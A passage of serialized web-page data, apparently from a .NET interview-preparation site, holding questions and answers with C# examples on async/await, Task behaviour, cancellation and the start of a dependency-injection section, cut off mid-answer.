middleware interview questions — request pipeline, Use vs Run vs Map, custom middleware, ordering, and short-circuiting.","dotnet\u002Faspnet-core\u002Fmiddleware","2026-06-23","8vRg6odXkVV3Jro2R3wievDNQDEkeqxD0pQKKa6Jf0A",{"id":171,"title":172,"body":173,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":177,"navigation":99,"order":13,"path":178,"questions":179,"questionsCount":163,"related":164,"seo":241,"seoDescription":242,"stem":243,"subtopic":244,"topic":28,"topicSlug":30,"updated":168,"__hash__":245},"qa\u002Fdotnet\u002Fcsharp-core\u002Fasync-await.md","Async Await",{"type":91,"value":174,"toc":175},[],{"title":94,"searchDepth":29,"depth":29,"links":176},[],{},"\u002Fdotnet\u002Fcsharp-core\u002Fasync-await",[180,184,188,192,196,200,204,209,213,217,221,225,229,233,237],{"id":181,"difficulty":104,"q":182,"a":183},"async-await-basics","What does the `async` \u002F `await` pair do in C# and how does the compiler implement it?","`async` marks a method so that `await` can be used inside it. `await` suspends the\nmethod without blocking the thread — control returns to the caller and resumes when\nthe awaited **Task** completes. The compiler transforms the method into a **state\nmachine**: a struct that tracks which `await` the method is currently paused at and\nresumes from the correct point when the Task signals completion.\n\n```csharp\npublic async Task\u003Cstring> FetchAsync(string url)\n{\n    \u002F\u002F Thread is released here; resumes on completion of GetAsync\n    HttpResponseMessage response = await httpClient.GetAsync(url);\n\n    \u002F\u002F Thread is released here; resumes when ReadAsStringAsync finishes\n    string body = await response.Content.ReadAsStringAsync();\n\n    return body; \u002F\u002F Task\u003Cstring> is completed with this value\n}\n```\n\nThe generated state machine roughly:\n1. Calls `GetAsync`, registers a continuation on the returned Task.\n2. Returns to the caller immediately (the method returns an incomplete `Task\u003Cstring>`).\n3. When `GetAsync` finishes, the continuation runs — resuming after the first `await`.\n4. Repeats for `ReadAsStringAsync`, then completes the outer Task with the body.\n\n**Rule of thumb:** `async` \u002F `await` is syntactic sugar over `Task` continuations. It\nlets you write asynchronous code that *reads like* synchronous code without blocking threads.\n",{"id":185,"difficulty":104,"q":186,"a":187},"task-vs-thread","What is the difference between a `Task` and a `Thread` in .NET?","A **Thread** is an OS-level execution resource. Creating one allocates a stack (~1 MB)\nand involves a kernel transition — expensive. A **Task** is a higher-level abstraction\nrepresenting a unit of work that *may or may not* require a dedicated thread.\n\n```csharp\n\u002F\u002F Thread — dedicated OS thread, always uses a thread\nvar thread = new Thread(() => Console.WriteLine(\"thread\"));\nthread.Start();\n\n\u002F\u002F Task — scheduled on the ThreadPool; may reuse threads\nvar task = Task.Run(() => Console.WriteLine(\"task on pool thread\"));\n\n\u002F\u002F async Task — may use zero threads while awaiting I\u002FO\nvar ioTask = FetchAsync(\"https:\u002F\u002Fexample.com\");\n\u002F\u002F While awaiting the network, NO thread is consumed\n```\n\nKey distinctions:\n- `Thread` is 1-to-1 with an OS thread. `Task` is a *promise of a result*.\n- I\u002FO-bound `async` Tasks consume **no thread** while waiting — they rely on OS\n  completion ports \u002F epoll callbacks.\n- CPU-bound work still needs a thread; `Task.Run` puts it on the ThreadPool.\n- ThreadPool threads are reused; creating raw Threads for short-lived work wastes resources.\n\n**Rule of thumb:** Use `Task` \u002F `async`-`await` for I\u002FO-bound work. Use `Task.Run`\nto offload CPU-bound work to the ThreadPool. Only use raw `Thread` when you need precise\ncontrol over thread identity, apartment state, or priority.\n",{"id":189,"difficulty":96,"q":190,"a":191},"configure-await","What does `ConfigureAwait(false)` do and when should you use it?","By default, after an `await`, C# tries to resume on the original\n**SynchronizationContext** (e.g., the UI thread in WPF\u002FWinForms, or the ASP.NET\nClassic request context). `ConfigureAwait(false)` tells the awaiter *not* to capture\nthe context — the continuation can run on any ThreadPool thread.\n\n```csharp\n\u002F\u002F Library code — does NOT need to return to a specific context:\npublic async Task\u003CData> GetDataAsync()\n{\n    var raw = await httpClient.GetStringAsync(url).ConfigureAwait(false);\n    \u002F\u002F Continuation runs on a pool thread — no context marshalling overhead\n    return Parse(raw);\n}\n\n\u002F\u002F Application code — DOES need UI context (e.g., updating a Label):\nprivate async void Button_Click(object sender, EventArgs e)\n{\n    var data = await GetDataAsync(); \u002F\u002F resume on UI thread — default behaviour\n    label.Text = data.Name;          \u002F\u002F safe: we're on the UI thread\n}\n```\n\nBenefits of `ConfigureAwait(false)`:\n- **Performance:** avoids context-switch overhead.\n- **Deadlock prevention:** a common deadlock occurs when library code awaits without\n  `ConfigureAwait(false)` and the caller blocks with `.Result` on a single-threaded\n  context — the continuation never runs because the context is blocked.\n\nIn ASP.NET Core there is **no SynchronizationContext**, so `ConfigureAwait(false)`\nhas no functional effect — but it is still best practice in library code for portability.\n\n**Rule of thumb:** Use `ConfigureAwait(false)` in all library \u002F reusable code. Omit it\nin application code that needs to update UI after the await.\n",{"id":193,"difficulty":96,"q":194,"a":195},"deadlock-async","How does a deadlock occur in async code when you call `.Result` or `.Wait()`?","The classic deadlock: a single-threaded **SynchronizationContext** (UI thread, or\nASP.NET Classic) blocks waiting for a Task to finish (`.Result` \u002F `.Wait()`), while\nthe Task's continuation needs that *same* context to resume — so it can never run.\n\n```csharp\n\u002F\u002F Deadlock scenario (WinForms, WPF, or old ASP.NET):\npublic string GetData()\n{\n    \u002F\u002F .Result BLOCKS the current (UI) thread:\n    return FetchAsync().Result; \u002F\u002F \u003C- deadlock!\n}\n\npublic async Task\u003Cstring> FetchAsync()\n{\n    await Task.Delay(100); \u002F\u002F default ConfigureAwait(true)\n    \u002F\u002F Continuation tries to resume on the UI thread — but it's BLOCKED by .Result!\n    return \"done\";\n}\n\n\u002F\u002F Fix option 1: go async all the way:\npublic async Task\u003Cstring> GetDataAsync() => await FetchAsync();\n\n\u002F\u002F Fix option 2: break context capture in the library:\npublic async Task\u003Cstring> FetchAsync()\n{\n    await Task.Delay(100).ConfigureAwait(false); \u002F\u002F no context needed\n    return \"done\";\n}\n```\n\nASP.NET Core has no SynchronizationContext, so `.Result` does not deadlock there —\nbut it still blocks a ThreadPool thread unnecessarily, harming scalability.\n\n**Rule of thumb:** Never call `.Result`, `.Wait()`, or `GetAwaiter().GetResult()` on\na Task in code that might run on a single-threaded context. Go `async` all the way.\n",{"id":197,"difficulty":96,"q":198,"a":199},"task-whenall-whenany","What is the difference between `Task.WhenAll` and `Task.WhenAny`?","`Task.WhenAll` returns a Task that completes when **all** provided Tasks finish.\n`Task.WhenAny` returns a Task that completes when **any one** of the provided Tasks\nfinishes (the rest keep running).\n\n```csharp\nvar t1 = FetchUserAsync(1);   \u002F\u002F 200 ms\nvar t2 = FetchUserAsync(2);   \u002F\u002F 150 ms\nvar t3 = FetchUserAsync(3);   \u002F\u002F 300 ms\n\n\u002F\u002F WhenAll — waits for ALL; total time ≈ 300 ms (longest)\nUser[] users = await Task.WhenAll(t1, t2, t3);\n\n\u002F\u002F If any task faults, WhenAll re-throws the FIRST exception;\n\u002F\u002F use the Task objects directly to inspect all exceptions:\nvar tasks = new[] { t1, t2, t3 };\nawait Task.WhenAll(tasks);\n\u002F\u002F foreach (var t in tasks) if (t.IsFaulted) { ... t.Exception ... }\n\n\u002F\u002F WhenAny — completes when the FIRST task finishes; total time ≈ 150 ms\nTask\u003CUser> first = await Task.WhenAny(t1, t2, t3);\nConsole.WriteLine($\"First result: {first.Result.Name}\");\n\n\u002F\u002F Timeout pattern with WhenAny:\nvar work   = DoExpensiveWorkAsync();\nvar timeout = Task.Delay(TimeSpan.FromSeconds(5));\nif (await Task.WhenAny(work, timeout) == timeout)\n    throw new TimeoutException(\"Operation exceeded 5 s\");\nvar result = await work;\n```\n\n**Rule of thumb:** Use `WhenAll` to run independent tasks in parallel and collect\nall results. Use `WhenAny` for timeouts, racing alternatives, or processing results\nas they arrive.\n",{"id":201,"difficulty":96,"q":202,"a":203},"async-void","What is `async void` and why is it dangerous?","`async void` is a method signature that returns `void` instead of `Task`. Callers\ncannot `await` it, cannot observe its completion, and — critically — **exceptions\nescape to the SynchronizationContext**, not to the caller, crashing the process.\n\n```csharp\n\u002F\u002F async void — caller cannot catch the exception\nasync void LoadDataBad()\n{\n    await Task.Delay(100);\n    throw new InvalidOperationException(\"boom\"); \u002F\u002F crashes the app!\n}\n\n\u002F\u002F Caller:\ntry\n{\n    LoadDataBad(); \u002F\u002F fire and forget — can't await, exception is NOT caught here\n}\ncatch (Exception) { } \u002F\u002F never catches the async exception!\n\n\u002F\u002F Correct: return Task and await it\nasync Task LoadDataGood()\n{\n    await Task.Delay(100);\n    throw new InvalidOperationException(\"boom\");\n}\n\ntry\n{\n    await LoadDataGood(); \u002F\u002F exception propagates correctly here\n}\ncatch (InvalidOperationException ex)\n{\n    Console.WriteLine(ex.Message); \u002F\u002F \"boom\" — caught!\n}\n```\n\nThe **only** legitimate use of `async void` is event handlers, where the event\ncontract requires `void`:\n\n```csharp\nprivate async void Button_Click(object sender, EventArgs e)\n{\n    \u002F\u002F Wrap in try\u002Fcatch to handle exceptions manually\n    try { await DoWorkAsync(); }\n    catch (Exception ex) { ShowError(ex); }\n}\n```\n\n**Rule of thumb:** Never write `async void` outside of event handlers. Always return\n`Task` or `Task\u003CT>` so callers can await and observe exceptions.\n",{"id":205,"difficulty":206,"q":207,"a":208},"value-task","hard","What is `ValueTask\u003CT>` and when should you use it instead of `Task\u003CT>`?","`ValueTask\u003CT>` is a **struct** that wraps either a synchronously available result\nor a reference to a `Task\u003CT>`. Unlike `Task\u003CT>` (a class), it avoids a heap\nallocation when the result is available synchronously — common in hot code paths\nlike caches or buffer reads.\n\n```csharp\n\u002F\u002F Every call allocates a Task\u003CT> object on the heap:\npublic async Task\u003Cint> GetCountTaskAsync()\n{\n    if (_cache.TryGetValue(\"count\", out int v)) return v; \u002F\u002F still allocates Task!\n    return await FetchCountFromDbAsync();\n}\n\n\u002F\u002F ValueTask: zero allocation on the fast (cache-hit) path:\npublic ValueTask\u003Cint> GetCountValueTaskAsync()\n{\n    if (_cache.TryGetValue(\"count\", out int v))\n        return new ValueTask\u003Cint>(v); \u002F\u002F struct, no heap allocation\n    return new ValueTask\u003Cint>(FetchCountFromDbAsync());\n}\n```\n\nRestrictions on `ValueTask\u003CT>` (unlike `Task\u003CT>`):\n- **Await only once** — a `ValueTask` must not be awaited more than once.\n- **Do not call `.Result` before the task completes.**\n- **Do not use in concurrent scenarios** — one consumer only.\n\n```csharp\n\u002F\u002F Correct usage:\nvar result = await GetCountValueTaskAsync(); \u002F\u002F await once, done\n\n\u002F\u002F Wrong — multi-await:\nvar vt = GetCountValueTaskAsync();\nvar a = await vt; \u002F\u002F ok\nvar b = await vt; \u002F\u002F undefined behaviour!\n```\n\n**Rule of thumb:** Default to `Task\u003CT>`. Use `ValueTask\u003CT>` only when profiling shows\nthat the synchronous-result fast path is frequent enough that the allocation overhead matters.\n",{"id":210,"difficulty":96,"q":211,"a":212},"cancellation-token","What is `CancellationToken` and how do you use it correctly?","`CancellationToken` is the standard .NET mechanism for cooperative cancellation.\nA `CancellationTokenSource` issues tokens; calling `.Cancel()` on the source signals\nall tokens issued from it. Receivers check the token and throw `OperationCanceledException`.\n\n```csharp\n\u002F\u002F Caller: create source and pass token\nusing var cts = new CancellationTokenSource();\ncts.CancelAfter(TimeSpan.FromSeconds(10)); \u002F\u002F auto-cancel after 10 s\n\ntry\n{\n    await DoWorkAsync(cts.Token);\n}\ncatch (OperationCanceledException)\n{\n    Console.WriteLine(\"Cancelled\");\n}\n\n\u002F\u002F Method: accept token and forward it\npublic async Task DoWorkAsync(CancellationToken ct = default)\n{\n    \u002F\u002F Pass to awaitable calls — they throw OperationCanceledException on cancel\n    await Task.Delay(5000, ct);\n\n    \u002F\u002F Manual check in CPU-bound loops:\n    for (int i = 0; i \u003C 1_000_000; i++)\n    {\n        ct.ThrowIfCancellationRequested(); \u002F\u002F throws OperationCanceledException\n        Process(i);\n    }\n\n    \u002F\u002F Registration callback (for non-cancellable APIs):\n    using var reg = ct.Register(() => socket.Close());\n    await socket.ReceiveAsync(buffer);\n}\n```\n\n**Rule of thumb:** Accept `CancellationToken ct = default` in every async method\nand forward it to every awaitable call. Never swallow `OperationCanceledException`\n— let it propagate so the caller knows the operation was cancelled.\n",{"id":214,"difficulty":206,"q":215,"a":216},"sync-context","What is `SynchronizationContext` and how does it interact with `async` \u002F `await`?","`SynchronizationContext` is an abstraction that lets code *schedule* work on a\nspecific thread or context. The `await` machinery captures the current\n`SynchronizationContext` before suspending and posts the continuation back to it\non resume — ensuring UI updates happen on the UI thread.\n\n```csharp\n\u002F\u002F WPF SynchronizationContext routes continuations to the Dispatcher (UI thread)\nprivate async void Button_Click(object sender, EventArgs e)\n{\n    \u002F\u002F Currently on UI thread; SynchronizationContext = DispatcherSynchronizationContext\n    var data = await FetchDataAsync();\n    \u002F\u002F Resumed on UI thread — safe to update UI\n    label.Content = data;\n}\n\n\u002F\u002F Console apps and ASP.NET Core have SynchronizationContext.Current == null\n\u002F\u002F Continuations run on any ThreadPool thread\n```\n\n`ConfigureAwait(false)` bypasses the context:\n\n```csharp\npublic async Task\u003Cstring> LibraryMethodAsync()\n{\n    \u002F\u002F Does NOT capture the context; continuation may run on any pool thread\n    var result = await httpClient.GetStringAsync(url).ConfigureAwait(false);\n    return result; \u002F\u002F fine — no UI\u002Fcontext operations needed here\n}\n```\n\n**Rule of thumb:** Library code should always use `ConfigureAwait(false)` so it does\nnot accidentally pin continuations to a specific context. Application code that updates\nUI or uses request-scoped services should NOT use `ConfigureAwait(false)`.\n",{"id":218,"difficulty":96,"q":219,"a":220},"async-exception-handling","How do you handle exceptions thrown inside `async` methods?","Exceptions thrown in an `async Task` method are **stored in the returned Task** and\nre-thrown when the Task is awaited. If you never await the Task, the exception is\nunobserved.\n\n```csharp\npublic async Task FaultyAsync()\n{\n    await Task.Delay(10);\n    throw new InvalidOperationException(\"failed\");\n}\n\n\u002F\u002F Correct: await and catch\ntry\n{\n    await FaultyAsync();\n}\ncatch (InvalidOperationException ex)\n{\n    Console.WriteLine(ex.Message); \u002F\u002F \"failed\"\n}\n\n\u002F\u002F WhenAll re-throws the FIRST exception; inspect all via AggregateException:\nvar t1 = ThrowAsync(\"err1\");\nvar t2 = ThrowAsync(\"err2\");\ntry\n{\n    await Task.WhenAll(t1, t2);\n}\ncatch\n{\n    \u002F\u002F t1.Exception and t2.Exception hold the individual exceptions\n    foreach (var t in new[] { t1, t2 })\n        if (t.IsFaulted)\n            Console.WriteLine(t.Exception!.InnerException!.Message);\n}\n```\n\nFor fire-and-forget patterns, always log unobserved exceptions:\n\n```csharp\n_ = DoWorkAsync().ContinueWith(\n    t => logger.LogError(t.Exception, \"Background task failed\"),\n    TaskContinuationOptions.OnlyOnFaulted);\n```\n\n**Rule of thumb:** Always `await` Tasks. If you must fire-and-forget, attach a\n`.ContinueWith` error handler so exceptions are never silently swallowed.\n",{"id":222,"difficulty":96,"q":223,"a":224},"task-run-vs-startNew","What is the difference between `Task.Run` and `Task.Factory.StartNew`?","Both schedule a delegate on the ThreadPool, but `Task.Run` has safer defaults and\nshould be the default choice. `Task.Factory.StartNew` gives more control but is\nerror-prone.\n\n```csharp\n\u002F\u002F Task.Run — the recommended way to offload CPU work:\nvar result = await Task.Run(() => ExpensiveCpuWork());\n\n\u002F\u002F Task.Factory.StartNew — returns Task\u003CTask> for async delegates!\n\u002F\u002F You MUST Unwrap() or you await the outer task, not the inner one:\nvar badTask = Task.Factory.StartNew(async () =>\n{\n    await Task.Delay(1000);\n    return 42;\n});\n\u002F\u002F badTask is Task\u003CTask\u003Cint>> — awaiting it gives Task\u003Cint>, not 42!\nvar result2 = await await badTask; \u002F\u002F double-await needed!\n\n\u002F\u002F Task.Run handles async delegates correctly (implicitly unwraps):\nvar goodTask = Task.Run(async () =>\n{\n    await Task.Delay(1000);\n    return 42;\n});\nint value = await goodTask; \u002F\u002F 42 — correct\n```\n\n`Task.Factory.StartNew` options you might still need:\n- `TaskCreationOptions.LongRunning` — hints to use a dedicated thread (not pool).\n- `TaskScheduler` — run on a custom scheduler.\n\n**Rule of thumb:** Always use `Task.Run` for offloading CPU-bound work to the\nThreadPool. Use `Task.Factory.StartNew` only when you need options not available\nin `Task.Run` (long-running, custom scheduler).\n",{"id":226,"difficulty":206,"q":227,"a":228},"async-enumerable","What is `IAsyncEnumerable\u003CT>` and when do you use it?","`IAsyncEnumerable\u003CT>` (C# 8 \u002F .NET Core 3) is the async equivalent of\n`IEnumerable\u003CT>` — a stream of values that are produced asynchronously one at a\ntime. Unlike returning `Task\u003CIEnumerable\u003CT>>` (which waits for **all** items before\nyielding any), `IAsyncEnumerable\u003CT>` streams items as they become available.\n\n```csharp\n\u002F\u002F Producer: async iterator method\npublic async IAsyncEnumerable\u003Cint> GenerateAsync(\n    [EnumeratorCancellation] CancellationToken ct = default)\n{\n    for (int i = 0; i \u003C 100; i++)\n    {\n        await Task.Delay(50, ct);  \u002F\u002F async work per item\n        yield return i;            \u002F\u002F yield each item as ready\n    }\n}\n\n\u002F\u002F Consumer: await foreach\nawait foreach (var value in GenerateAsync(cancellationToken))\n{\n    Console.WriteLine(value); \u002F\u002F processes each item as it arrives\n}\n\n\u002F\u002F Real-world: streaming large DB results with EF Core\npublic async IAsyncEnumerable\u003COrder> StreamOrdersAsync(\n    [EnumeratorCancellation] CancellationToken ct = default)\n{\n    await foreach (var order in dbContext.Orders\n        .Where(o => o.Status == \"Pending\")\n        .AsAsyncEnumerable()\n        .WithCancellation(ct))\n    {\n        yield return order;\n    }\n}\n```\n\n**Rule of thumb:** Use `IAsyncEnumerable\u003CT>` when producing a large or unbounded\nstream where you want to process or forward items before the entire sequence is\nready — large database results, real-time feeds, or paginated API calls.\n",{"id":230,"difficulty":96,"q":231,"a":232},"async-timeout-pattern","How do you implement a timeout for an async operation in C#?","The standard approach uses `CancellationTokenSource.CancelAfter` or\n`Task.WhenAny` with `Task.Delay`. Each has trade-offs in resource cleanup\nand exception semantics.\n\n```csharp\n\u002F\u002F Option 1: CancellationTokenSource.CancelAfter (preferred)\npublic async Task\u003Cstring> FetchWithTimeoutAsync(string url, int timeoutMs)\n{\n    using var cts = new CancellationTokenSource(timeoutMs);\n    try\n    {\n        return await httpClient.GetStringAsync(url, cts.Token);\n    }\n    catch (OperationCanceledException) when (cts.IsCancellationRequested)\n    {\n        throw new TimeoutException($\"Request to {url} exceeded {timeoutMs} ms\");\n    }\n}\n\n\u002F\u002F Option 2: Task.WhenAny with Task.Delay (when the API does not accept a token)\npublic async Task\u003Cstring> FetchWithWhenAnyAsync(string url, int timeoutMs)\n{\n    var workTask    = httpClient.GetStringAsync(url);\n    var timeoutTask = Task.Delay(timeoutMs);\n\n    if (await Task.WhenAny(workTask, timeoutTask) == timeoutTask)\n        throw new TimeoutException($\"Request exceeded {timeoutMs} ms\");\n\n    return await workTask; \u002F\u002F already completed\n}\n\n\u002F\u002F Note: WhenAny does NOT cancel the workTask — it keeps running in the background.\n\u002F\u002F Prefer Option 1 so the underlying operation is truly stopped on timeout.\n\n\u002F\u002F Option 3: CancellationTokenSource.CreateLinkedTokenSource to merge timeouts\npublic async Task\u003Cstring> FetchAsync(string url, CancellationToken ct)\n{\n    using var timeoutCts = new CancellationTokenSource(TimeSpan.FromSeconds(5));\n    using var linkedCts  = CancellationTokenSource.CreateLinkedTokenSource(ct, timeoutCts.Token);\n    return await httpClient.GetStringAsync(url, linkedCts.Token);\n}\n```\n\n**Rule of thumb:** Always prefer `CancellationTokenSource` with `CancelAfter` over\n`Task.WhenAny + Task.Delay`. The token approach actually cancels the underlying\noperation; `WhenAny` just abandons it, leaving the work running and the connection open.\n",{"id":234,"difficulty":206,"q":235,"a":236},"task-completion-source","What is `TaskCompletionSource\u003CT>` and when do you use it?","`TaskCompletionSource\u003CT>` lets you **manually control** when a `Task\u003CT>` completes,\nfaults, or is cancelled. It bridges callback-based or event-based APIs into the\n`Task`-based async world.\n\n```csharp\n\u002F\u002F Bridge a callback API to Task:\npublic Task\u003Cstring> ReadLineAsync(Socket socket)\n{\n    var tcs = new TaskCompletionSource\u003Cstring>();\n\n    socket.BeginReceive(buffer, 0, buffer.Length, SocketFlags.None, ar =>\n    {\n        try\n        {\n            int bytes = socket.EndReceive(ar);\n            tcs.SetResult(Encoding.UTF8.GetString(buffer, 0, bytes)); \u002F\u002F signals completion\n        }\n        catch (Exception ex)\n        {\n            tcs.SetException(ex); \u002F\u002F signals fault\n        }\n    }, null);\n\n    return tcs.Task; \u002F\u002F caller awaits this — completes when callback fires\n}\n\n\u002F\u002F Gate pattern — signal readiness from outside:\npublic class ReadyGate\n{\n    private readonly TaskCompletionSource _tcs = new(TaskCreationOptions.RunContinuationsAsynchronously);\n    public Task WaitAsync() => _tcs.Task;\n    public void Signal()   => _tcs.TrySetResult(); \u002F\u002F complete the gate\n}\n\nvar gate = new ReadyGate();\n_ = Task.Run(async () =>\n{\n    await Task.Delay(500);\n    gate.Signal(); \u002F\u002F unblocks all waiters\n});\nawait gate.WaitAsync(); \u002F\u002F blocks until gate is signalled\n\n\u002F\u002F Note: TaskCreationOptions.RunContinuationsAsynchronously prevents\n\u002F\u002F SetResult from running continuations synchronously on the caller's stack.\n```\n\n**Rule of thumb:** Use `TaskCompletionSource\u003CT>` to wrap legacy callback or event APIs\ninto awaitable Tasks. Always pass `TaskCreationOptions.RunContinuationsAsynchronously`\nto avoid deadlocks from continuations running inline inside the callback.\n",{"id":238,"difficulty":96,"q":239,"a":240},"progress-reporting","How do you report progress from an async operation using `IProgress\u003CT>`?","`IProgress\u003CT>` is the standard interface for async progress reporting. `Progress\u003CT>`\ncaptures the **SynchronizationContext** at construction time and marshals calls to\n`Report` back to that context (e.g., the UI thread), so subscribers can safely update UI.\n\n```csharp\n\u002F\u002F Method: accept IProgress\u003CT> and call Report as work advances\npublic async Task DownloadFilesAsync(\n    IEnumerable\u003Cstring> urls,\n    IProgress\u003Cint>? progress = null,\n    CancellationToken ct = default)\n{\n    var list = urls.ToList();\n    for (int i = 0; i \u003C list.Count; i++)\n    {\n        await DownloadOneAsync(list[i], ct);\n        progress?.Report(i + 1); \u002F\u002F report count completed so far\n    }\n}\n\n\u002F\u002F Caller in a WPF \u002F WinForms app — Progress\u003CT> marshals to UI thread:\nvar progressHandler = new Progress\u003Cint>(count =>\n{\n    \u002F\u002F This runs on the UI thread — safe to update controls:\n    progressBar.Value = count;\n    statusLabel.Text  = $\"Downloaded {count} files\";\n});\n\nawait DownloadFilesAsync(urls, progressHandler, cts.Token);\n\n\u002F\u002F Caller in a console app — no SynchronizationContext; runs inline:\nvar consoleProgress = new Progress\u003Cint>(n => Console.Write($\"\\r{n} done\"));\nawait DownloadFilesAsync(urls, consoleProgress);\n\n\u002F\u002F Note: IProgress\u003CT> is accepted as nullable so callers can opt out:\nawait DownloadFilesAsync(urls); \u002F\u002F progress = null, no overhead\n```\n\n**Rule of thumb:** Accept `IProgress\u003CT>?` (nullable) in long-running async methods\nso callers can opt in to progress updates without changing the method signature. Use\n`Progress\u003CT>` — not a raw delegate — so progress callbacks are marshalled back to the\ncorrect thread automatically.\n",{"description":94},"C# async\u002Fawait interview questions — state machines, SynchronizationContext, ConfigureAwait, deadlocks, ValueTask, and CancellationToken.","dotnet\u002Fcsharp-core\u002Fasync-await","Async \u002F Await","RxYm7KOdLV33FAfjZ-eaLWV6_vz2U3whcSiBXajj0gk",{"id":247,"title":248,"body":249,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":253,"navigation":99,"order":13,"path":254,"questions":255,"questionsCount":163,"related":164,"seo":316,"seoDescription":317,"stem":318,"subtopic":319,"topic":46,"topicSlug":48,"updated":168,"__hash__":320},"qa\u002Fdotnet\u002Fdependency-injection\u002Fdi-basics.md","Di Basics",{"type":91,"value":250,"toc":251},[],{"title":94,"searchDepth":29,"depth":29,"links":252},[],{},"\u002Fdotnet\u002Fdependency-injection\u002Fdi-basics",[256,260,264,268,272,276,280,284,288,292,296,300,304,308,312],{"id":257,"difficulty":104,"q":258,"a":259},"di-what-is","What is dependency injection and why does ASP.NET Core use it by default?","**Dependency injection (DI)** is a design pattern where an object's dependencies are\n*provided* (injected) rather than created by the object itself. ASP.NET Core ships with\na built-in IoC container that manages object creation and lifetime.\n\n```csharp\n\u002F\u002F WITHOUT DI — tight coupling; impossible to swap or test in isolation:\npublic class OrderService\n{\n    \u002F\u002F hardcoded — can't change implementation or mock in tests\n    private readonly EmailSender _emailSender = new EmailSender();\n}\n\n\u002F\u002F WITH DI — the container creates and injects the dependency:\npublic class OrderService\n{\n    private readonly IEmailSender _emailSender;\n\n    public OrderService(IEmailSender emailSender) \u002F\u002F injected by the container\n    {\n        _emailSender = emailSender;\n    }\n}\n\n\u002F\u002F Wire-up in Program.cs:\nbuilder.Services.AddScoped\u003CIEmailSender, SmtpEmailSender>();\n\u002F\u002F Now the container resolves SmtpEmailSender whenever IEmailSender is needed.\n\u002F\u002F In tests, inject FakeEmailSender instead — no code change in OrderService.\n```\n\nBenefits:\n- **Testability** — swap real implementations with fakes\u002Fmocks without touching consumers.\n- **Loose coupling** — classes depend on abstractions, not concrete types.\n- **Lifetime management** — the container controls creation and disposal.\n- **Single responsibility** — classes focus on their job; the container owns wiring.\n\n**Rule of thumb:** If a class creates its dependencies with `new`, it can't be tested\nin isolation and can't be configured from outside. Inject dependencies instead.\n",{"id":261,"difficulty":104,"q":262,"a":263},"iservicecollection","What is IServiceCollection and how do you register services with it?","**`IServiceCollection`** is the container builder — a mutable list of `ServiceDescriptor`\nentries that each describe a service type, implementation, and lifetime. After\n`builder.Build()` is called, it produces an immutable **`IServiceProvider`** (the resolver).\n\n```csharp\nvar builder = WebApplication.CreateBuilder(args);\n\n\u002F\u002F Interface → concrete type (preferred — keeps consumers decoupled):\nbuilder.Services.AddScoped\u003CIOrderService, OrderService>();\nbuilder.Services.AddTransient\u003CIEmailSender, SmtpEmailSender>();\n\n\u002F\u002F Concrete type only (useful for internal\u002Finfrastructure classes):\nbuilder.Services.AddSingleton\u003CGreeterService>();\n\n\u002F\u002F Factory delegate (for complex construction logic):\nbuilder.Services.AddSingleton\u003CIConnectionFactory>(sp =>\n{\n    var config = sp.GetRequiredService\u003CIConfiguration>();\n    return new SqlConnectionFactory(config[\"ConnectionStrings:Default\"]);\n});\n\n\u002F\u002F Pre-built instance (rarely needed — loses lifetime management):\nbuilder.Services.AddSingleton\u003CICache>(new RedisCache(\"localhost:6379\"));\n\nvar app = builder.Build(); \u002F\u002F freezes the container — no more registrations after this\n```\n\nResolving services:\n```csharp\n\u002F\u002F GetRequiredService\u003CT> — throws InvalidOperationException if not registered:\nvar svc = app.Services.GetRequiredService\u003CIOrderService>(); \u002F\u002F prefer this\n\n\u002F\u002F GetService\u003CT> — returns null if not registered (easy to miss):\nvar svc = app.Services.GetService\u003CIOrderService>(); \u002F\u002F avoid in application code\n```\n\n**Rule of thumb:** Register against interfaces, not concrete types. This keeps\nconsumers decoupled and lets you swap implementations without changing call sites.\n",{"id":265,"difficulty":104,"q":266,"a":267},"constructor-injection","How does constructor injection work in ASP.NET Core and why is it the preferred style?","**Constructor injection** is the default DI style. The container inspects the class's\npublic constructor, resolves each parameter type from the registered services, and passes\nthem in. If a parameter type isn't registered, the container throws at resolve time.\n\n```csharp\npublic class CheckoutController : ControllerBase\n{\n    private readonly IOrderService _orders;\n    private readonly IPaymentGateway _payments;\n    private readonly ILogger\u003CCheckoutController> _logger;\n\n    \u002F\u002F All three resolved and injected by the container — no manual wiring:\n    public CheckoutController(\n        IOrderService orders,\n        IPaymentGateway payments,\n        ILogger\u003CCheckoutController> logger)\n    {\n        _orders = orders;\n        _payments = payments;\n        _logger = logger;\n    }\n\n    [HttpPost(\"checkout\")]\n    public async Task\u003CIActionResult> Checkout([FromBody] CartDto cart)\n    {\n        _logger.LogInformation(\"Checkout: {Count} items\", cart.Items.Count);\n        var order = await _orders.CreateAsync(cart);\n        await _payments.ChargeAsync(order);\n        return Ok(order);\n    }\n}\n\n\u002F\u002F In a test — inject fakes directly; no container needed:\nvar sut = new CheckoutController(\n    new FakeOrderService(),\n    new FakePaymentGateway(),\n    NullLogger\u003CCheckoutController>.Instance);\n```\n\nWhy constructor injection beats alternatives:\n- **Explicit** — all dependencies visible in the constructor signature.\n- **Required** — object can't be built without its dependencies; no partial state.\n- **Testable** — pass fakes directly to the constructor in tests.\n- **Container-free** — the class doesn't reference `IServiceProvider` at all.\n\n**Rule of thumb:** Inject through the constructor. If the parameter list exceeds 4–5\nitems, that's a signal the class has too many responsibilities.\n",{"id":269,"difficulty":96,"q":270,"a":271},"iserviceprovider-resolve","What is IServiceProvider and when is it appropriate to use it directly?","**`IServiceProvider`** is the read-only runtime resolver that creates and returns\nregistered service instances. Injecting it into application classes is the\n**Service Locator anti-pattern** — it hides dependencies and breaks testability.\n\n```csharp\n\u002F\u002F Anti-pattern — dependencies hidden inside method bodies:\npublic class ReportService\n{\n    private readonly IServiceProvider _sp;\n    public ReportService(IServiceProvider sp) => _sp = sp;\n\n    public void Generate()\n    {\n        \u002F\u002F Callers can't see what this class actually needs:\n        var repo   = _sp.GetRequiredService\u003CIReportRepository>();\n        var mailer = _sp.GetRequiredService\u003CIMailer>();\n    }\n}\n\n\u002F\u002F Constructor injection — all dependencies are explicit:\npublic class ReportService\n{\n    public ReportService(IReportRepository repo, IMailer mailer) { }\n}\n\n\u002F\u002F Legitimate use 1: factory delegate inside registration\nbuilder.Services.AddSingleton\u003CICache>(sp =>\n{\n    var cfg = sp.GetRequiredService\u003CIConfiguration>();\n    return new RedisCache(cfg[\"Redis:Host\"]);\n});\n\n\u002F\u002F Legitimate use 2: background service needs scoped service\npublic class DataSyncJob : BackgroundService\n{\n    private readonly IServiceScopeFactory 